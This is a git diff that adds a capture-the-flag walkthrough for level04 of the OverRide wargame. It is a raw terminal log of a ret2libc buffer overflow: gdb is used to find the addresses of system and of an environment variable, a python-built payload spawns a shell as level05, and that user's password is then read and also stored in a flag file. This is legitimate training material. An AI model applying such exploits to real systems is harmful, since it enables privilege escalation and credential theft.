diff --git a/level04/Ressources/walkthrough.md b/level04/Ressources/walkthrough.md
new file mode 100644
index 0000000..9e48fe5
--- /dev/null
+++ b/level04/Ressources/walkthrough.md
@@ -0,0 +1,72 @@
+level04@OverRide:~$ export EGG="                                                                                                                                                                                                                                            /bin/sh"
+level04@OverRide:~$ gdb level04 
+bGNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
+Copyright (C) 2012 Free Software Foundation, Inc.
+License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
+This is free software: you are free to change and redistribute it.
+There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
+and "show warranty" for details.
+This GDB was configured as "x86_64-linux-gnu".
+For bug reporting instructions, please see:
+<http://bugs.launchpad.net/gdb-linaro/>...
+Reading symbols from /home/users/level04/level04...(no debugging symbols found)...done.
+(gdb) b main+150
+Function "main+150" not defined.
+Make breakpoint pending on future shared library load? (y or [n]) ^Cn
+(gdb) Quit
+(gdb) b *main+150
+Breakpoint 1 at 0x804875e
+(gdb) set follow-fork-mode child 
+(gdb) run
+Starting program: /home/users/level04/level04 
+[New process 1813]
+Give me some shellcode, k
+[Switching to process 1813]
+
+Breakpoint 1, 0x0804875e in main ()
+(gdb) p system
+$1 = {<text variable, no debug info>} 0xf7e6aed0 <system>
+(gdb) p (char *)getenv("EGG")
+$2 = 0xffffd857 ' ' <repeats 200 times>...
+(gdb) exit
+Undefined command: "exit".  Try "help".
+(gdb) quit
+A debugging session is active.
+
+	Inferior 2 [process 1813] will be killed.
+
+Quit anyway? (y or n) y
+child is exiting...
+level04@OverRide:~$ env
+TERM=xterm-256color
+SHELL=/bin/bash
+SSH_CLIENT=10.0.2.2 59932 4242
+OLDPWD=/home/users/level04
+SSH_TTY=/dev/pts/0
+EGG=                                                                                                                                                                                                                                            /bin/sh
+USER=level04
+LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lz=01;31:*.xz=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.axv=01;35:*.anx=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.axa=00;36:*.oga=00;36:*.spx=00;36:*.xspf=00;36:
+MAIL=/var/mail/level04
+PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
+PWD=/home/users/level04
+LANG=en_US.UTF-8
+SHLVL=1
+HOME=/home/users/level04
+LANGUAGE=en_US:en
+LOGNAME=level04
+SSH_CONNECTION=10.0.2.2 59932 10.0.2.15 4242
+LESSOPEN=| /usr/bin/lesspipe %s
+LESSCLOSE=/usr/bin/lesspipe %s %s
+_=/usr/bin/env
+level04@OverRide:~$ python -c "print('A'*156+'\xd0\xae\xe6\xf7'+'    '+'\xa0\xd8\xff\xff')" > exploit.txt
+-bash: exploit.txt: Permission denied
+level04@OverRide:~$ chmod +w .
+level04@OverRide:~$ python -c "print('A'*156+'\xd0\xae\xe6\xf7'+'    '+'\xa0\xd8\xff\xff')" > exploit.txt
+level04@OverRide:~$ cat exploit.txt - | ./level04 
+Give me some shellcode, k
+whoami
+level05
+cat /home/users/level05/.pass
+3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN
+
+
diff --git a/level04/flag b/level04/flag
new file mode 100644
index 0000000..f6f65e7
--- /dev/null
+++ b/level04/flag
@@ -0,0 +1 @@
+3v8QLcN5SAhPaZZfEasfmXdwyR59ktDEMAwHF3aN
diff --git a/level05/Ressources/level05 b/level05/Ressources/level05
new file mode 100755
index 0000000..b52ad99
Binary files /dev/null and b/level05/Ressources/level05 differ